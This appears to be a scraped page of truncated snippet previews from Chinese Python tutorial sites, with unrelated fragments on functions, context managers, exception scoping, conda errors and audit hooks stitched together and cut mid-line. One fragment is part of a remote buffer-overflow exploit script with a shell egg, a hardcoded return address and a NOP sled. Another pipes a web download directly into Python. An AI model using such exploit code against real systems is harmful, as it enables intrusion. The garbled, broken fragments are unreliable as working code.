price in products: # A if price not in unique_price_list: #B unique_price_list.append(price) return len(unique_price_list) products = [ (143121312, 100), (432314553, 30), (32421912367, 150), (937153201, 30) ] p
4.1 位置参数:power(x, n)函数有两个参数:x和n,这两个参数都是位置参数,调用函数时,传入的两...
# 编写程序完成以下任务: # 1. 让用户输入一个整数 # 2. 判断这个数是否能同时被3和5整除 # 3....
代码语言:javascript 代码运行次数:0 运行 AI代码解释 >>>from mirrorimportLookingGlass>>>withLookingGlass()aswhat:# ①...print('Alice, Kitty and Snowdrop')# ②...print(what)...pordwonS dna yttiK,ecilAYKCOWREBBAJ>>>what # ③'JABBERWOCKY'>>>print('Back to normal.')# ④ Back to norma...
$ sudo python path/to/ez_setup.py 对于安装了 PowerShell 3 的 Windows 8 或旧版本的 Windows,以管理员权限启动 PowerShell,并在其中运行以下命令: > (Invoke-WebRequest https://bootstrap.pypa.io/ez_setup.py).Content | python - 对于未安装 PowerShell 3 的 Windows 系统,请使用 Web 浏览器从上述...
20 raise Exception,“Usage: %s <target ip> <target port>“ 21 22 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 23 sock.connect((sys.argv[1] ,int(sys.argv[2]))) 24 25 egg = StdinShellEggO 26 27 retAddr = struct.pack(‘<L’,0xbffffc24L) 28 toSend= “\x90”*(10...
2 3from datetime import date 4from functools import singledispatchmethod 5 6class BirthInfo: 7 @singledispatchmethod 8 def __init__(self, birth_date): 9 raise ValueError(f"unsupported date format: {birth_date}") 10 11 @__init__.register(date) ...
import sys def bar(i): if i == 1: raise KeyError(1) if i == 2: raise ValueError(2) def bad(): e = None try: bar(int(sys.argv[1])) except KeyError as e: print('key error') except ValueError as e: print('value error') print(e) bad() On Python 2, this runs fine:...
( File "D:\anaconda3\lib\site-packages\conda\core\subdir_data.py", line 613, in fetch_repodata_remote_request raise Response304ContentUnchanged() conda.core.subdir_data.Response304ContentUnchanged During handling of the above exception, another exception occurred: Traceback (most recent call last...
...defmy_audit_hook(my_event, _):WHITED_EVENTS =set({'builtins.input','builtins.input/result','exec','compile'})ifmy_eventnotinWHITED_EVENTS:raiseRuntimeError('Operation not permitted: {}'.format(my_event))...if__name__ =="__main__":sys.addaudithook(my_audit_hook)main() ...